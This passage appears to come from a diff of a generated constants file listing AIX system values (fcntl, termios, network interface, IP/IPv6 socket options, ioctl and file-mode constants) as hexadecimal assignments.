-+ FF0 = 0x0
-+ FF1 = 0x2000
-+ FFDLY = 0x2000
-+ FLUSHBAND = 0x40
-+ FLUSHLOW = 0x8
-+ FLUSHO = 0x100000
-+ FLUSHR = 0x1
-+ FLUSHRW = 0x3
-+ FLUSHW = 0x2
-+ F_CLOSEM = 0xa
-+ F_DUP2FD = 0xe
-+ F_DUPFD = 0x0
-+ F_GETFD = 0x1
-+ F_GETFL = 0x3
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0xb
-+ F_GETOWN = 0x8
-+ F_LOCK = 0x1
-+ F_OK = 0x0
-+ F_RDLCK = 0x1
-+ F_SETFD = 0x2
-+ F_SETFL = 0x4
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0xc
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0xd
-+ F_SETOWN = 0x9
-+ F_TEST = 0x3
-+ F_TLOCK = 0x2
-+ F_TSTLK = 0xf
-+ F_ULOCK = 0x0
-+ F_UNLCK = 0x3
-+ F_WRLCK = 0x2
-+ HUPCL = 0x400
-+ IBSHIFT = 0x10
-+ ICANON = 0x2
-+ ICMP6_FILTER = 0x26
-+ ICMP6_SEC_SEND_DEL = 0x46
-+ ICMP6_SEC_SEND_GET = 0x47
-+ ICMP6_SEC_SEND_SET = 0x44
-+ ICMP6_SEC_SEND_SET_CGA_ADDR = 0x45
-+ ICRNL = 0x100
-+ IEXTEN = 0x200000
-+ IFA_FIRSTALIAS = 0x2000
-+ IFA_ROUTE = 0x1
-+ IFF_64BIT = 0x4000000
-+ IFF_ALLCAST = 0x20000
-+ IFF_ALLMULTI = 0x200
-+ IFF_BPF = 0x8000000
-+ IFF_BRIDGE = 0x40000
-+ IFF_BROADCAST = 0x2
-+ IFF_CANTCHANGE = 0x80c52
-+ IFF_CHECKSUM_OFFLOAD = 0x10000000
-+ IFF_D1 = 0x8000
-+ IFF_D2 = 0x4000
-+ IFF_D3 = 0x2000
-+ IFF_D4 = 0x1000
-+ IFF_DEBUG = 0x4
-+ IFF_DEVHEALTH = 0x4000
-+ IFF_DO_HW_LOOPBACK = 0x10000
-+ IFF_GROUP_ROUTING = 0x2000000
-+ IFF_IFBUFMGT = 0x800000
-+ IFF_LINK0 = 0x100000
-+ IFF_LINK1 = 0x200000
-+ IFF_LINK2 = 0x400000
-+ IFF_LOOPBACK = 0x8
-+ IFF_MULTICAST = 0x80000
-+ IFF_NOARP = 0x80
-+ IFF_NOECHO = 0x800
-+ IFF_NOTRAILERS = 0x20
-+ IFF_OACTIVE = 0x400
-+ IFF_POINTOPOINT = 0x10
-+ IFF_PROMISC = 0x100
-+ IFF_PSEG = 0x40000000
-+ IFF_RUNNING = 0x40
-+ IFF_SIMPLEX = 0x800
-+ IFF_SNAP = 0x8000
-+ IFF_TCP_DISABLE_CKSUM = 0x20000000
-+ IFF_TCP_NOCKSUM = 0x1000000
-+ IFF_UP = 0x1
-+ IFF_VIPA = 0x80000000
-+ IFNAMSIZ = 0x10
-+ IFO_FLUSH = 0x1
-+ IFT_1822 = 0x2
-+ IFT_AAL5 = 0x31
-+ IFT_ARCNET = 0x23
-+ IFT_ARCNETPLUS = 0x24
-+ IFT_ATM = 0x25
-+ IFT_CEPT = 0x13
-+ IFT_CLUSTER = 0x3e
-+ IFT_DS3 = 0x1e
-+ IFT_EON = 0x19
-+ IFT_ETHER = 0x6
-+ IFT_FCS = 0x3a
-+ IFT_FDDI = 0xf
-+ IFT_FRELAY = 0x20
-+ IFT_FRELAYDCE = 0x2c
-+ IFT_GIFTUNNEL = 0x3c
-+ IFT_HDH1822 = 0x3
-+ IFT_HF = 0x3d
-+ IFT_HIPPI = 0x2f
-+ IFT_HSSI = 0x2e
-+ IFT_HY = 0xe
-+ IFT_IB = 0xc7
-+ IFT_ISDNBASIC = 0x14
-+ IFT_ISDNPRIMARY = 0x15
-+ IFT_ISO88022LLC = 0x29
-+ IFT_ISO88023 = 0x7
-+ IFT_ISO88024 = 0x8
-+ IFT_ISO88025 = 0x9
-+ IFT_ISO88026 = 0xa
-+ IFT_LAPB = 0x10
-+ IFT_LOCALTALK = 0x2a
-+ IFT_LOOP = 0x18
-+ IFT_MIOX25 = 0x26
-+ IFT_MODEM = 0x30
-+ IFT_NSIP = 0x1b
-+ IFT_OTHER = 0x1
-+ IFT_P10 = 0xc
-+ IFT_P80 = 0xd
-+ IFT_PARA = 0x22
-+ IFT_PPP = 0x17
-+ IFT_PROPMUX = 0x36
-+ IFT_PROPVIRTUAL = 0x35
-+ IFT_PTPSERIAL = 0x16
-+ IFT_RS232 = 0x21
-+ IFT_SDLC = 0x11
-+ IFT_SIP = 0x1f
-+ IFT_SLIP = 0x1c
-+ IFT_SMDSDXI = 0x2b
-+ IFT_SMDSICIP = 0x34
-+ IFT_SN = 0x38
-+ IFT_SONET = 0x27
-+ IFT_SONETPATH = 0x32
-+ IFT_SONETVT = 0x33
-+ IFT_SP = 0x39
-+ IFT_STARLAN = 0xb
-+ IFT_T1 = 0x12
-+ IFT_TUNNEL = 0x3b
-+ IFT_ULTRA = 0x1d
-+ IFT_V35 = 0x2d
-+ IFT_VIPA = 0x37
-+ IFT_X25 = 0x5
-+ IFT_X25DDN = 0x4
-+ IFT_X25PLE = 0x28
-+ IFT_XETHER = 0x1a
-+ IGNBRK = 0x1
-+ IGNCR = 0x80
-+ IGNPAR = 0x4
-+ IMAXBEL = 0x10000
-+ INLCR = 0x40
-+ INPCK = 0x10
-+ IN_CLASSA_HOST = 0xffffff
-+ IN_CLASSA_MAX = 0x80
-+ IN_CLASSA_NET = 0xff000000
-+ IN_CLASSA_NSHIFT = 0x18
-+ IN_CLASSB_HOST = 0xffff
-+ IN_CLASSB_MAX = 0x10000
-+ IN_CLASSB_NET = 0xffff0000
-+ IN_CLASSB_NSHIFT = 0x10
-+ IN_CLASSC_HOST = 0xff
-+ IN_CLASSC_NET = 0xffffff00
-+ IN_CLASSC_NSHIFT = 0x8
-+ IN_CLASSD_HOST = 0xfffffff
-+ IN_CLASSD_NET = 0xf0000000
-+ IN_CLASSD_NSHIFT = 0x1c
-+ IN_LOOPBACKNET = 0x7f
-+ IN_USE = 0x1
-+ IPPROTO_AH = 0x33
-+ IPPROTO_BIP = 0x53
-+ IPPROTO_DSTOPTS = 0x3c
-+ IPPROTO_EGP = 0x8
-+ IPPROTO_EON = 0x50
-+ IPPROTO_ESP = 0x32
-+ IPPROTO_FRAGMENT = 0x2c
-+ IPPROTO_GGP = 0x3
-+ IPPROTO_GIF = 0x8c
-+ IPPROTO_GRE = 0x2f
-+ IPPROTO_HOPOPTS = 0x0
-+ IPPROTO_ICMP = 0x1
-+ IPPROTO_ICMPV6 = 0x3a
-+ IPPROTO_IDP = 0x16
-+ IPPROTO_IGMP = 0x2
-+ IPPROTO_IP = 0x0
-+ IPPROTO_IPIP = 0x4
-+ IPPROTO_IPV6 = 0x29
-+ IPPROTO_LOCAL = 0x3f
-+ IPPROTO_MAX = 0x100
-+ IPPROTO_MH = 0x87
-+ IPPROTO_NONE = 0x3b
-+ IPPROTO_PUP = 0xc
-+ IPPROTO_QOS = 0x2d
-+ IPPROTO_RAW = 0xff
-+ IPPROTO_ROUTING = 0x2b
-+ IPPROTO_RSVP = 0x2e
-+ IPPROTO_SCTP = 0x84
-+ IPPROTO_TCP = 0x6
-+ IPPROTO_TP = 0x1d
-+ IPPROTO_UDP = 0x11
-+ IPV6_ADDRFORM = 0x16
-+ IPV6_ADDR_PREFERENCES = 0x4a
-+ IPV6_ADD_MEMBERSHIP = 0xc
-+ IPV6_AIXRAWSOCKET = 0x39
-+ IPV6_CHECKSUM = 0x27
-+ IPV6_DONTFRAG = 0x2d
-+ IPV6_DROP_MEMBERSHIP = 0xd
-+ IPV6_DSTOPTS = 0x36
-+ IPV6_FLOWINFO_FLOWLABEL = 0xffffff
-+ IPV6_FLOWINFO_PRIFLOW = 0xfffffff
-+ IPV6_FLOWINFO_PRIORITY = 0xf000000
-+ IPV6_FLOWINFO_SRFLAG = 0x10000000
-+ IPV6_FLOWINFO_VERSION = 0xf0000000
-+ IPV6_HOPLIMIT = 0x28
-+ IPV6_HOPOPTS = 0x34
-+ IPV6_JOIN_GROUP = 0xc
-+ IPV6_LEAVE_GROUP = 0xd
-+ IPV6_MIPDSTOPTS = 0x36
-+ IPV6_MULTICAST_HOPS = 0xa
-+ IPV6_MULTICAST_IF = 0x9
-+ IPV6_MULTICAST_LOOP = 0xb
-+ IPV6_NEXTHOP = 0x30
-+ IPV6_NOPROBE = 0x1c
-+ IPV6_PATHMTU = 0x2e
-+ IPV6_PKTINFO = 0x21
-+ IPV6_PKTOPTIONS = 0x24
-+ IPV6_PRIORITY_10 = 0xa000000
-+ IPV6_PRIORITY_11 = 0xb000000
-+ IPV6_PRIORITY_12 = 0xc000000
-+ IPV6_PRIORITY_13 = 0xd000000
-+ IPV6_PRIORITY_14 = 0xe000000
-+ IPV6_PRIORITY_15 = 0xf000000
-+ IPV6_PRIORITY_8 = 0x8000000
-+ IPV6_PRIORITY_9 = 0x9000000
-+ IPV6_PRIORITY_BULK = 0x4000000
-+ IPV6_PRIORITY_CONTROL = 0x7000000
-+ IPV6_PRIORITY_FILLER = 0x1000000
-+ IPV6_PRIORITY_INTERACTIVE = 0x6000000
-+ IPV6_PRIORITY_RESERVED1 = 0x3000000
-+ IPV6_PRIORITY_RESERVED2 = 0x5000000
-+ IPV6_PRIORITY_UNATTENDED = 0x2000000
-+ IPV6_PRIORITY_UNCHARACTERIZED = 0x0
-+ IPV6_RECVDSTOPTS = 0x38
-+ IPV6_RECVHOPLIMIT = 0x29
-+ IPV6_RECVHOPOPTS = 0x35
-+ IPV6_RECVHOPS = 0x22
-+ IPV6_RECVIF = 0x1e
-+ IPV6_RECVPATHMTU = 0x2f
-+ IPV6_RECVPKTINFO = 0x23
-+ IPV6_RECVRTHDR = 0x33
-+ IPV6_RECVSRCRT = 0x1d
-+ IPV6_RECVTCLASS = 0x2a
-+ IPV6_RTHDR = 0x32
-+ IPV6_RTHDRDSTOPTS = 0x37
-+ IPV6_RTHDR_TYPE_0 = 0x0
-+ IPV6_RTHDR_TYPE_2 = 0x2
-+ IPV6_SENDIF = 0x1f
-+ IPV6_SRFLAG_LOOSE = 0x0
-+ IPV6_SRFLAG_STRICT = 0x10000000
-+ IPV6_TCLASS = 0x2b
-+ IPV6_TOKEN_LENGTH = 0x40
-+ IPV6_UNICAST_HOPS = 0x4
-+ IPV6_USE_MIN_MTU = 0x2c
-+ IPV6_V6ONLY = 0x25
-+ IPV6_VERSION = 0x60000000
-+ IP_ADDRFORM = 0x16
-+ IP_ADD_MEMBERSHIP = 0xc
-+ IP_ADD_SOURCE_MEMBERSHIP = 0x3c
-+ IP_BLOCK_SOURCE = 0x3a
-+ IP_BROADCAST_IF = 0x10
-+ IP_CACHE_LINE_SIZE = 0x80
-+ IP_DEFAULT_MULTICAST_LOOP = 0x1
-+ IP_DEFAULT_MULTICAST_TTL = 0x1
-+ IP_DF = 0x4000
-+ IP_DHCPMODE = 0x11
-+ IP_DONTFRAG = 0x19
-+ IP_DROP_MEMBERSHIP = 0xd
-+ IP_DROP_SOURCE_MEMBERSHIP = 0x3d
-+ IP_FINDPMTU = 0x1a
-+ IP_HDRINCL = 0x2
-+ IP_INC_MEMBERSHIPS = 0x14
-+ IP_INIT_MEMBERSHIP = 0x14
-+ IP_MAXPACKET = 0xffff
-+ IP_MF = 0x2000
-+ IP_MSS = 0x240
-+ IP_MULTICAST_HOPS = 0xa
-+ IP_MULTICAST_IF = 0x9
-+ IP_MULTICAST_LOOP = 0xb
-+ IP_MULTICAST_TTL = 0xa
-+ IP_OPT = 0x1b
-+ IP_OPTIONS = 0x1
-+ IP_PMTUAGE = 0x1b
-+ IP_RECVDSTADDR = 0x7
-+ IP_RECVIF = 0x14
-+ IP_RECVIFINFO = 0xf
-+ IP_RECVINTERFACE = 0x20
-+ IP_RECVMACHDR = 0xe
-+ IP_RECVOPTS = 0x5
-+ IP_RECVRETOPTS = 0x6
-+ IP_RECVTTL = 0x22
-+ IP_RETOPTS = 0x8
-+ IP_SOURCE_FILTER = 0x48
-+ IP_TOS = 0x3
-+ IP_TTL = 0x4
-+ IP_UNBLOCK_SOURCE = 0x3b
-+ IP_UNICAST_HOPS = 0x4
-+ ISIG = 0x1
-+ ISTRIP = 0x20
-+ IUCLC = 0x800
-+ IXANY = 0x1000
-+ IXOFF = 0x400
-+ IXON = 0x200
-+ I_FLUSH = 0x20005305
-+ LNOFLSH = 0x8000
-+ LOCK_EX = 0x2
-+ LOCK_NB = 0x4
-+ LOCK_SH = 0x1
-+ LOCK_UN = 0x8
-+ MADV_DONTNEED = 0x4
-+ MADV_NORMAL = 0x0
-+ MADV_RANDOM = 0x1
-+ MADV_SEQUENTIAL = 0x2
-+ MADV_SPACEAVAIL = 0x5
-+ MADV_WILLNEED = 0x3
-+ MAP_ANON = 0x10
-+ MAP_ANONYMOUS = 0x10
-+ MAP_FILE = 0x0
-+ MAP_FIXED = 0x100
-+ MAP_PRIVATE = 0x2
-+ MAP_SHARED = 0x1
-+ MAP_TYPE = 0xf0
-+ MAP_VARIABLE = 0x0
-+ MCAST_BLOCK_SOURCE = 0x40
-+ MCAST_EXCLUDE = 0x2
-+ MCAST_INCLUDE = 0x1
-+ MCAST_JOIN_GROUP = 0x3e
-+ MCAST_JOIN_SOURCE_GROUP = 0x42
-+ MCAST_LEAVE_GROUP = 0x3f
-+ MCAST_LEAVE_SOURCE_GROUP = 0x43
-+ MCAST_SOURCE_FILTER = 0x49
-+ MCAST_UNBLOCK_SOURCE = 0x41
-+ MCL_CURRENT = 0x100
-+ MCL_FUTURE = 0x200
-+ MSG_ANY = 0x4
-+ MSG_ARGEXT = 0x400
-+ MSG_BAND = 0x2
-+ MSG_COMPAT = 0x8000
-+ MSG_CTRUNC = 0x20
-+ MSG_DONTROUTE = 0x4
-+ MSG_EOR = 0x8
-+ MSG_HIPRI = 0x1
-+ MSG_MAXIOVLEN = 0x10
-+ MSG_MPEG2 = 0x80
-+ MSG_NONBLOCK = 0x4000
-+ MSG_NOSIGNAL = 0x100
-+ MSG_OOB = 0x1
-+ MSG_PEEK = 0x2
-+ MSG_TRUNC = 0x10
-+ MSG_WAITALL = 0x40
-+ MSG_WAITFORONE = 0x200
-+ MS_ASYNC = 0x10
-+ MS_EINTR = 0x80
-+ MS_INVALIDATE = 0x40
-+ MS_PER_SEC = 0x3e8
-+ MS_SYNC = 0x20
-+ NFDBITS = 0x20
-+ NL0 = 0x0
-+ NL1 = 0x4000
-+ NL2 = 0x8000
-+ NL3 = 0xc000
-+ NLDLY = 0x4000
-+ NOFLSH = 0x80
-+ NOFLUSH = 0x80000000
-+ OCRNL = 0x8
-+ OFDEL = 0x80
-+ OFILL = 0x40
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ ONLRET = 0x20
-+ ONOCR = 0x10
-+ ONOEOT = 0x80000
-+ OPOST = 0x1
-+ OXTABS = 0x40000
-+ O_ACCMODE = 0x23
-+ O_APPEND = 0x8
-+ O_CIO = 0x80
-+ O_CIOR = 0x800000000
-+ O_CLOEXEC = 0x800000
-+ O_CREAT = 0x100
-+ O_DEFER = 0x2000
-+ O_DELAY = 0x4000
-+ O_DIRECT = 0x8000000
-+ O_DIRECTORY = 0x80000
-+ O_DSYNC = 0x400000
-+ O_EFSOFF = 0x400000000
-+ O_EFSON = 0x200000000
-+ O_EXCL = 0x400
-+ O_EXEC = 0x20
-+ O_LARGEFILE = 0x4000000
-+ O_NDELAY = 0x8000
-+ O_NOCACHE = 0x100000
-+ O_NOCTTY = 0x800
-+ O_NOFOLLOW = 0x1000000
-+ O_NONBLOCK = 0x4
-+ O_NONE = 0x3
-+ O_NSHARE = 0x10000
-+ O_RAW = 0x100000000
-+ O_RDONLY = 0x0
-+ O_RDWR = 0x2
-+ O_RSHARE = 0x1000
-+ O_RSYNC = 0x200000
-+ O_SEARCH = 0x20
-+ O_SNAPSHOT = 0x40
-+ O_SYNC = 0x10
-+ O_TRUNC = 0x200
-+ O_TTY_INIT = 0x0
-+ O_WRONLY = 0x1
-+ PARENB = 0x100
-+ PAREXT = 0x100000
-+ PARMRK = 0x8
-+ PARODD = 0x200
-+ PENDIN = 0x20000000
-+ PRIO_PGRP = 0x1
-+ PRIO_PROCESS = 0x0
-+ PRIO_USER = 0x2
-+ PROT_EXEC = 0x4
-+ PROT_NONE = 0x0
-+ PROT_READ = 0x1
-+ PROT_WRITE = 0x2
-+ PR_64BIT = 0x20
-+ PR_ADDR = 0x2
-+ PR_ARGEXT = 0x400
-+ PR_ATOMIC = 0x1
-+ PR_CONNREQUIRED = 0x4
-+ PR_FASTHZ = 0x5
-+ PR_INP = 0x40
-+ PR_INTRLEVEL = 0x8000
-+ PR_MLS = 0x100
-+ PR_MLS_1_LABEL = 0x200
-+ PR_NOEOR = 0x4000
-+ PR_RIGHTS = 0x10
-+ PR_SLOWHZ = 0x2
-+ PR_WANTRCVD = 0x8
-+ RLIMIT_AS = 0x6
-+ RLIMIT_CORE = 0x4
-+ RLIMIT_CPU = 0x0
-+ RLIMIT_DATA = 0x2
-+ RLIMIT_FSIZE = 0x1
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x9
-+ RLIMIT_RSS = 0x5
-+ RLIMIT_STACK = 0x3
-+ RLIM_INFINITY = 0x7fffffff
-+ RTAX_AUTHOR = 0x6
-+ RTAX_BRD = 0x7
-+ RTAX_DST = 0x0
-+ RTAX_GATEWAY = 0x1
-+ RTAX_GENMASK = 0x3
-+ RTAX_IFA = 0x5
-+ RTAX_IFP = 0x4
-+ RTAX_MAX = 0x8
-+ RTAX_NETMASK = 0x2
-+ RTA_AUTHOR = 0x40
-+ RTA_BRD = 0x80
-+ RTA_DOWNSTREAM = 0x100
-+ RTA_DST = 0x1
-+ RTA_GATEWAY = 0x2
-+ RTA_GENMASK = 0x8
-+ RTA_IFA = 0x20
-+ RTA_IFP = 0x10
-+ RTA_NETMASK = 0x4
-+ RTC_IA64 = 0x3
-+ RTC_POWER = 0x1
-+ RTC_POWER_PC = 0x2
-+ RTF_ACTIVE_DGD = 0x1000000
-+ RTF_BCE = 0x80000
-+ RTF_BLACKHOLE = 0x1000
-+ RTF_BROADCAST = 0x400000
-+ RTF_BUL = 0x2000
-+ RTF_CLONE = 0x10000
-+ RTF_CLONED = 0x20000
-+ RTF_CLONING = 0x100
-+ RTF_DONE = 0x40
-+ RTF_DYNAMIC = 0x10
-+ RTF_FREE_IN_PROG = 0x4000000
-+ RTF_GATEWAY = 0x2
-+ RTF_HOST = 0x4
-+ RTF_LLINFO = 0x400
-+ RTF_LOCAL = 0x200000
-+ RTF_MASK = 0x80
-+ RTF_MODIFIED = 0x20
-+ RTF_MULTICAST = 0x800000
-+ RTF_PERMANENT6 = 0x8000000
-+ RTF_PINNED = 0x100000
-+ RTF_PROTO1 = 0x8000
-+ RTF_PROTO2 = 0x4000
-+ RTF_PROTO3 = 0x40000
-+ RTF_REJECT = 0x8
-+ RTF_SMALLMTU = 0x40000
-+ RTF_STATIC = 0x800
-+ RTF_STOPSRCH = 0x2000000
-+ RTF_UNREACHABLE = 0x10000000
-+ RTF_UP = 0x1
-+ RTF_XRESOLVE = 0x200
-+ RTM_ADD = 0x1
-+ RTM_CHANGE = 0x3
-+ RTM_DELADDR = 0xd
-+ RTM_DELETE = 0x2
-+ RTM_EXPIRE = 0xf
-+ RTM_GET = 0x4
-+ RTM_GETNEXT = 0x11
-+ RTM_IFINFO = 0xe
-+ RTM_LOCK = 0x8
-+ RTM_LOSING = 0x5
-+ RTM_MISS = 0x7
-+ RTM_NEWADDR = 0xc
-+ RTM_OLDADD = 0x9
-+ RTM_OLDDEL = 0xa
-+ RTM_REDIRECT = 0x6
-+ RTM_RESOLVE = 0xb
-+ RTM_RTLOST = 0x10
-+ RTM_RTTUNIT = 0xf4240
-+ RTM_SAMEADDR = 0x12
-+ RTM_SET = 0x13
-+ RTM_VERSION = 0x2
-+ RTM_VERSION_GR = 0x4
-+ RTM_VERSION_GR_COMPAT = 0x3
-+ RTM_VERSION_POLICY = 0x5
-+ RTM_VERSION_POLICY_EXT = 0x6
-+ RTM_VERSION_POLICY_PRFN = 0x7
-+ RTV_EXPIRE = 0x4
-+ RTV_HOPCOUNT = 0x2
-+ RTV_MTU = 0x1
-+ RTV_RPIPE = 0x8
-+ RTV_RTT = 0x40
-+ RTV_RTTVAR = 0x80
-+ RTV_SPIPE = 0x10
-+ RTV_SSTHRESH = 0x20
-+ RUSAGE_CHILDREN = -0x1
-+ RUSAGE_SELF = 0x0
-+ RUSAGE_THREAD = 0x1
-+ SCM_RIGHTS = 0x1
-+ SHUT_RD = 0x0
-+ SHUT_RDWR = 0x2
-+ SHUT_WR = 0x1
-+ SIGMAX64 = 0xff
-+ SIGQUEUE_MAX = 0x20
-+ SIOCADDIFVIPA = 0x20006942
-+ SIOCADDMTU = -0x7ffb9690
-+ SIOCADDMULTI = -0x7fdf96cf
-+ SIOCADDNETID = -0x7fd796a9
-+ SIOCADDRT = -0x7fcf8df6
-+ SIOCAIFADDR = -0x7fbf96e6
-+ SIOCATMARK = 0x40047307
-+ SIOCDARP = -0x7fb396e0
-+ SIOCDELIFVIPA = 0x20006943
-+ SIOCDELMTU = -0x7ffb968f
-+ SIOCDELMULTI = -0x7fdf96ce
-+ SIOCDELPMTU = -0x7fd78ff6
-+ SIOCDELRT = -0x7fcf8df5
-+ SIOCDIFADDR = -0x7fd796e7
-+ SIOCDNETOPT = -0x3ffe9680
-+ SIOCDX25XLATE = -0x7fd7969b
-+ SIOCFIFADDR = -0x7fdf966d
-+ SIOCGARP = -0x3fb396da
-+ SIOCGETMTUS = 0x2000696f
-+ SIOCGETSGCNT = -0x3feb8acc
-+ SIOCGETVIFCNT = -0x3feb8acd
-+ SIOCGHIWAT = 0x40047301
-+ SIOCGIFADDR = -0x3fd796df
-+ SIOCGIFADDRS = 0x2000698c
-+ SIOCGIFBAUDRATE = -0x3fdf9669
-+ SIOCGIFBRDADDR = -0x3fd796dd
-+ SIOCGIFCONF = -0x3ff796bb
-+ SIOCGIFCONFGLOB = -0x3ff79670
-+ SIOCGIFDSTADDR = -0x3fd796de
-+ SIOCGIFFLAGS = -0x3fd796ef
-+ SIOCGIFGIDLIST = 0x20006968
-+ SIOCGIFHWADDR = -0x3fab966b
-+ SIOCGIFMETRIC = -0x3fd796e9
-+ SIOCGIFMTU = -0x3fd796aa
-+ SIOCGIFNETMASK = -0x3fd796db
-+ SIOCGIFOPTIONS = -0x3fd796d6
-+ SIOCGISNO = -0x3fd79695
-+ SIOCGLOADF = -0x3ffb967e
-+ SIOCGLOWAT = 0x40047303
-+ SIOCGNETOPT = -0x3ffe96a5
-+ SIOCGNETOPT1 = -0x3fdf967f
-+ SIOCGNMTUS = 0x2000696e
-+ SIOCGPGRP = 0x40047309
-+ SIOCGSIZIFCONF = 0x4004696a
-+ SIOCGSRCFILTER = -0x3fe796cb
-+ SIOCGTUNEPHASE = -0x3ffb9676
-+ SIOCGX25XLATE = -0x3fd7969c
-+ SIOCIFATTACH = -0x7fdf9699
-+ SIOCIFDETACH = -0x7fdf969a
-+ SIOCIFGETPKEY = -0x7fdf969b
-+ SIOCIF_ATM_DARP = -0x7fdf9683
-+ SIOCIF_ATM_DUMPARP = -0x7fdf9685
-+ SIOCIF_ATM_GARP = -0x7fdf9682
-+ SIOCIF_ATM_IDLE = -0x7fdf9686
-+ SIOCIF_ATM_SARP = -0x7fdf9681
-+ SIOCIF_ATM_SNMPARP = -0x7fdf9687
-+ SIOCIF_ATM_SVC = -0x7fdf9684
-+ SIOCIF_ATM_UBR = -0x7fdf9688
-+ SIOCIF_DEVHEALTH = -0x7ffb966c
-+ SIOCIF_IB_ARP_INCOMP = -0x7fdf9677
-+ SIOCIF_IB_ARP_TIMER = -0x7fdf9678
-+ SIOCIF_IB_CLEAR_PINFO = -0x3fdf966f
-+ SIOCIF_IB_DEL_ARP = -0x7fdf967f
-+ SIOCIF_IB_DEL_PINFO = -0x3fdf9670
-+ SIOCIF_IB_DUMP_ARP = -0x7fdf9680
-+ SIOCIF_IB_GET_ARP = -0x7fdf967e
-+ SIOCIF_IB_GET_INFO = -0x3f879675
-+ SIOCIF_IB_GET_STATS = -0x3f879672
-+ SIOCIF_IB_NOTIFY_ADDR_REM = -0x3f87966a
-+ SIOCIF_IB_RESET_STATS = -0x3f879671
-+ SIOCIF_IB_RESIZE_CQ = -0x7fdf9679
-+ SIOCIF_IB_SET_ARP = -0x7fdf967d
-+ SIOCIF_IB_SET_PKEY = -0x7fdf967c
-+ SIOCIF_IB_SET_PORT = -0x7fdf967b
-+ SIOCIF_IB_SET_QKEY = -0x7fdf9676
-+ SIOCIF_IB_SET_QSIZE = -0x7fdf967a
-+ SIOCLISTIFVIPA = 0x20006944
-+ SIOCSARP = -0x7fb396e2
-+ SIOCSHIWAT = 0x80047300
-+ SIOCSIFADDR = -0x7fd796f4
-+ SIOCSIFADDRORI = -0x7fdb9673
-+ SIOCSIFBRDADDR = -0x7fd796ed
-+ SIOCSIFDSTADDR = -0x7fd796f2
-+ SIOCSIFFLAGS = -0x7fd796f0
-+ SIOCSIFGIDLIST = 0x20006969
-+ SIOCSIFMETRIC = -0x7fd796e8
-+ SIOCSIFMTU = -0x7fd796a8
-+ SIOCSIFNETDUMP = -0x7fd796e4
-+ SIOCSIFNETMASK = -0x7fd796ea
-+ SIOCSIFOPTIONS = -0x7fd796d7
-+ SIOCSIFSUBCHAN = -0x7fd796e5
-+ SIOCSISNO = -0x7fd79694
-+ SIOCSLOADF = -0x3ffb967d
-+ SIOCSLOWAT = 0x80047302
-+ SIOCSNETOPT = -0x7ffe96a6
-+ SIOCSPGRP = 0x80047308
-+ SIOCSX25XLATE = -0x7fd7969d
-+ SOCK_CONN_DGRAM = 0x6
-+ SOCK_DGRAM = 0x2
-+ SOCK_RAW = 0x3
-+ SOCK_RDM = 0x4
-+ SOCK_SEQPACKET = 0x5
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0xffff
-+ SOMAXCONN = 0x400
-+ SO_ACCEPTCONN = 0x2
-+ SO_AUDIT = 0x8000
-+ SO_BROADCAST = 0x20
-+ SO_CKSUMRECV = 0x800
-+ SO_DEBUG = 0x1
-+ SO_DONTROUTE = 0x10
-+ SO_ERROR = 0x1007
-+ SO_KEEPALIVE = 0x8
-+ SO_KERNACCEPT = 0x2000
-+ SO_LINGER = 0x80
-+ SO_NOMULTIPATH = 0x4000
-+ SO_NOREUSEADDR = 0x1000
-+ SO_OOBINLINE = 0x100
-+ SO_PEERID = 0x1009
-+ SO_RCVBUF = 0x1002
-+ SO_RCVLOWAT = 0x1004
-+ SO_RCVTIMEO = 0x1006
-+ SO_REUSEADDR = 0x4
-+ SO_REUSEPORT = 0x200
-+ SO_SNDBUF = 0x1001
-+ SO_SNDLOWAT = 0x1003
-+ SO_SNDTIMEO = 0x1005
-+ SO_TIMESTAMPNS = 0x100a
-+ SO_TYPE = 0x1008
-+ SO_USELOOPBACK = 0x40
-+ SO_USE_IFBUFS = 0x400
-+ S_BANDURG = 0x400
-+ S_EMODFMT = 0x3c000000
-+ S_ENFMT = 0x400
-+ S_ERROR = 0x100
-+ S_HANGUP = 0x200
-+ S_HIPRI = 0x2
-+ S_ICRYPTO = 0x80000
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFJOURNAL = 0x10000
-+ S_IFLNK = 0xa000
-+ S_IFMPX = 0x2200
-+ S_IFMT = 0xf000
-+ S_IFPDIR = 0x4000000
-+ S_IFPSDIR = 0x8000000
-+ S_IFPSSDIR = 0xc000000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFSYSEA = 0x30000000
-+ S_INPUT = 0x1
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_ITCB = 0x1000000
-+ S_ITP = 0x800000
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXACL = 0x2000000
-+ S_IXATTR = 0x40000
-+ S_IXGRP = 0x8
-+ S_IXINTERFACE = 0x100000
-+ S_IXMOD = 0x40000000
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
-+ S_MSG = 0x8
-+ S_OUTPUT = 0x4
-+ S_RDBAND = 0x20
-+ S_RDNORM = 0x10
-+ S_RESERVED1 = 0x20000
-+ S_RESERVED2 = 0x200000
-+ S_RESERVED3 = 0x400000
-+ S_RESERVED4 = 0x80000000
-+ S_RESFMT1 = 0x10000000
-+ S_RESFMT10 = 0x34000000
-+ S_RESFMT11 = 0x38000000
-+ S_RESFMT12 = 0x3c000000
-+ S_RESFMT2 = 0x14000000
-+ S_RESFMT3 = 0x18000000
-+ S_RESFMT4 = 0x1c000000
-+ S_RESFMT5 = 0x20000000
-+ S_RESFMT6 = 0x24000000
-+ S_RESFMT7 = 0x28000000
-+ S_RESFMT8 = 0x2c000000
-+ S_WRBAND = 0x80
-+ S_WRNORM = 0x40
-+ TAB0 = 0x0
-+ TAB1 = 0x400
-+ TAB2 = 0x800
-+ TAB3 = 0xc00
-+ TABDLY = 0xc00
-+ TCFLSH = 0x540c
-+ TCGETA = 0x5405
